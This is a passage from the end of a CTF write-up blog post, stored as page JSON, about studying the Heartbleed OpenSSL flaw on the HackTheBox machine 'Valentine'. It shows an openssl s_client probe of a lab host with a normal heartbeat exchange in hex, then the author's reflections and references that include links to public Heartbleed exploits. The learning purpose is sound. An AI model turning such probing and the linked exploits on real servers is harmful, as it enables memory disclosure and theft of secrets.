number\">10.10</span>.10.79:443 -tlsextdebug -msg\n\n---\nB\nHEARTBEATING\n<span class=\"token operator\">>></span><span class=\"token operator\">></span> TLS <span class=\"token number\">1.2</span>  <span class=\"token punctuation\">[</span>length 0025<span class=\"token punctuation\">]</span>, HeartbeatRequest\n    01 00 <span class=\"token number\">12</span> 00 00 <span class=\"token number\">87</span> <span class=\"token number\">59</span> <span class=\"token builtin class-name\">cd</span> ed cf e6 <span class=\"token number\">27</span> <span class=\"token number\">84</span> 05 2c 2c\n    <span class=\"token number\">47</span> 5a <span class=\"token number\">51</span> 7f d9 e5 <span class=\"token number\">51</span> a8 <span class=\"token number\">47</span> f7 01 <span class=\"token number\">24</span> <span class=\"token number\">35</span> <span class=\"token number\">54</span> f1 3d\n    b6 <span class=\"token number\">25</span> bf <span class=\"token number\">64</span> cb\n<span class=\"token operator\">&lt;&lt;&lt;</span> TLS <span class=\"token number\">1.2</span>  <span class=\"token punctuation\">[</span>length 0025<span class=\"token punctuation\">]</span>, HeartbeatResponse\n    02 00 <span class=\"token number\">12</span> 00 00 <span class=\"token number\">87</span> <span class=\"token number\">59</span> <span class=\"token builtin class-name\">cd</span> ed cf e6 <span class=\"token number\">27</span> <span class=\"token number\">84</span> 05 2c 2c\n    <span class=\"token number\">47</span> 5a <span class=\"token number\">51</span> 7f d9 <span class=\"token number\">67</span> e6 <span class=\"token number\">79</span> <span class=\"token number\">58</span> b7 b9 <span class=\"token number\">46</span> f0 <span class=\"token number\">82</span> b6 <span class=\"token number\">76</span>\n    a5 cb <span class=\"token number\">75</span> d1 1a\n<span class=\"token builtin class-name\">read</span> R BLOCK</code></pre></div>\n<p>As shown above, <code class=\"language-text\">00 12</code> bytes of data starting with <code class=\"language-text\">01</code> are sent, and the server returns a heartbeat response starting with <code class=\"language-text\">02</code> containing exactly the same data.</p>\n<h2 id=\"summary\" style=\"position:relative;\"><a href=\"#summary\" aria-label=\"summary permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Summary</h2>\n<p>I did a deep dive into the Heartbleed vulnerability via Valentine, the first machine I ever solved on HackTheBox.</p>\n<p>I always regretted having solved it without understanding anything, just running existing exploit code, so I’m glad I was able to relearn it this time.</p>\n<p>I got to read OpenSSL source code for the first time and revisit the details of SSL connections in depth — it was extremely educational.</p>\n<p>I hope to continue writing explanatory articles with a specific theme like this.</p>\n<h2 id=\"references\" style=\"position:relative;\"><a href=\"#references\" aria-label=\"references permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>References</h2>\n<h3 id=\"books\" style=\"position:relative;\"><a href=\"#books\" aria-label=\"books permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Books</h3>\n<ul>\n<li><a href=\"https://amzn.to/3fGQ9h0\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Professional SSL/TLS</a></li>\n<li><a href=\"https://amzn.to/3du5b7h\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Mastering TCP/IP: Introductory Edition (6th ed.)</a></li>\n</ul>\n<h3 id=\"web\" style=\"position:relative;\"><a href=\"#web\" aria-label=\"web permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Web</h3>\n<ul>\n<li><a href=\"https://xtech.nikkei.com/it/atcl/column/16/041400084/041400003/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Understanding Heartbleed with diagrams | Nikkei Cross-Tech</a></li>\n<li><a href=\"https://www.tiger1997.jp/report/activity/securityreport_20140410.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">OpenSSL Heartbleed Vulnerability (CVE-2014-0160)</a></li>\n<li><a href=\"https://www.exploit-db.com/exploits/32745\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">OpenSSL TLS Heartbeat Extension - ‘Heartbleed’ Memory Disclosure - Multiple remote Exploit</a></li>\n<li><a href=\"https://www.ipa.go.jp/security/ciadr/vul/20140408-openssl.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Updated: About Countermeasures for OpenSSL Vulnerability (CVE-2014-0160) — IPA</a></li>\n<li><a href=\"https://github.com/openssl/openssl\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">openssl/openssl: TLS/SSL and crypto library</a></li>\n<li><a href=\"https://qiita.com/yukitsukai47/items/e59407abd1e76fa48a24\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Hack The Box[Valentine] -Writeup- - Qiita</a></li>\n<li><a href=\"https://stackabuse.com/heartbleed-bug-explained/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Heartbleed Bug Explained</a></li>\n<li><a href=\"https://www.jpcert.or.jp/sc-rules/c-arr33-c.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">ARR33-C. Guarantee that copies are made into storage of sufficient size</a></li>\n<li><a href=\"https://www.exploit-db.com/exploits/32764\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">OpenSSL 1.0.1f TLS Heartbeat Extension - ‘Heartbleed’ Memory Disclosure (Multiple SSL/TLS Versions) - Multiple remote Exploit</a></li>\n<li><a href=\"https://www.cisco.com/c/en/us/support/docs/security-vpn/secure-socket-layer-ssl/116181-technote-product-00.html\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">SSL Introduction with Sample Transaction and Packet Exchange - Cisco</a></li>\n<li><a href=\"https://qiita.com/n-i-e/items/41673fd16d7bd1189a29\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Reviewing the SSL/TLS (SSL3.0–TLS1.2) Handshake - Qiita</a></li>\n<li><a href=\"https://qiita.com/silverskyvicto/items/dca3d4b985829b4b5f1f\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Building OpenSSL from source - Qiita</a></li>\n</ul>","fields":{"slug":"/hackthebox-linux-valentine-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2021-10-04","description":"A deep-dive into the Heartbleed vulnerability (CVE-2014-0160) through the HackTheBox retired machine 'Valentine'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"Learning the Heartbleed Vulnerability with HackTheBox \"Valentine\"","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-valentine-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}